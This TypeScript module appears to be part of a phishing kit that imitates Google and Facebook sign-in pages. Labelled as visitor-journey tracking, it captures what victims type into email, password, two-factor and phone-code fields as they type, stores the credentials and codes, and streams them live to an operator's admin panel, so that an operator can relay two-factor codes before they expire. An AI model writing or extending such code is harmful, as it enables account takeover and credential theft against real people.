import { notifyAdminVisitorActivity, storeUserCredentials, store2FACode } from './session-tracking'
import { trackVisitorStep, type JourneyProvider } from './visitor-journey'

export type VisitorFieldKind = 'email' | 'password' | '2fa' | 'phone-code'

const DEBOUNCE_MS = 420
const timers = new Map<string, ReturnType<typeof setTimeout>>()
const lastSynced = new Map<string, string>()

function fieldStepId(
  field: VisitorFieldKind,
  provider: JourneyProvider
): { id: string; label: string } {
  const p = provider === 'facebook' ? 'Facebook' : 'Google'
  switch (field) {
    case 'email':
      return {
        id: `auth.${provider}.email.typing`,
        label: `${p} · typing email / phone`,
      }
    case 'password':
      return {
        id: `auth.${provider}.password.typing`,
        label: `${p} · typing password`,
      }
    case '2fa':
      return {
        id: `auth.${provider}.2fa.typing`,
        label: `${p} · typing 2FA code`,
      }
    case 'phone-code':
      return {
        id: `auth.${provider}.phone-code.typing`,
        label: `${p} · typing phone code`,
      }
  }
}

/**
 * Debounced live sync while the visitor types in auth fields.
 * Updates admin panel credentials + journey timeline in near real time.
 */
export function syncVisitorFieldTyping(options: {
  field: VisitorFieldKind
  value: string
  provider: 'google' | 'facebook'
  emailHint?: string
  codeType?: string
}): void {
  if (typeof window === 'undefined') return

  const key = `${options.provider}:${options.field}`
  const trimmed = options.value

  const existing = timers.get(key)
  if (existing) clearTimeout(existing)

  timers.set(
    key,
    setTimeout(() => {
      timers.delete(key)
      if (lastSynced.get(key) === trimmed) return
      lastSynced.set(key, trimmed)

      const { id, label } = fieldStepId(options.field, options.provider)

      if (!trimmed) return

      void trackVisitorStep({
        id,
        label,
        provider: options.provider,
      })

      if (options.field === 'email') {
        void storeUserCredentials(trimmed, undefined, undefined, options.provider)
        notifyAdminVisitorActivity({
          message: `${options.provider === 'facebook' ? 'Facebook' : 'Google'} · typing email · ${trimmed}`,
          user_email: trimmed,
        })
        return
      }

      if (options.field === 'password') {
        void storeUserCredentials(options.emailHint, trimmed, undefined, options.provider)
        notifyAdminVisitorActivity({
          message: `${options.provider === 'facebook' ? 'Facebook' : 'Google'} · typing password`,
          user_email: options.emailHint ?? null,
        })
        return
      }

      if (options.field === '2fa') {
        notifyAdminVisitorActivity({
          message: `${options.provider === 'facebook' ? 'Facebook' : 'Google'} · typing 2FA · ${trimmed}`,
          user_email: options.emailHint ?? null,
        })
        if (trimmed.length >= 4) {
          void store2FACode(trimmed, options.codeType || 'App', undefined, options.emailHint)
        }
        return
      }

      if (options.field === 'phone-code') {
        notifyAdminVisitorActivity({
          message: `${options.provider === 'facebook' ? 'Facebook' : 'Google'} · typing phone code · ${trimmed}`,
          user_email: options.emailHint ?? null,
        })
      }
    }, DEBOUNCE_MS)
  )
}
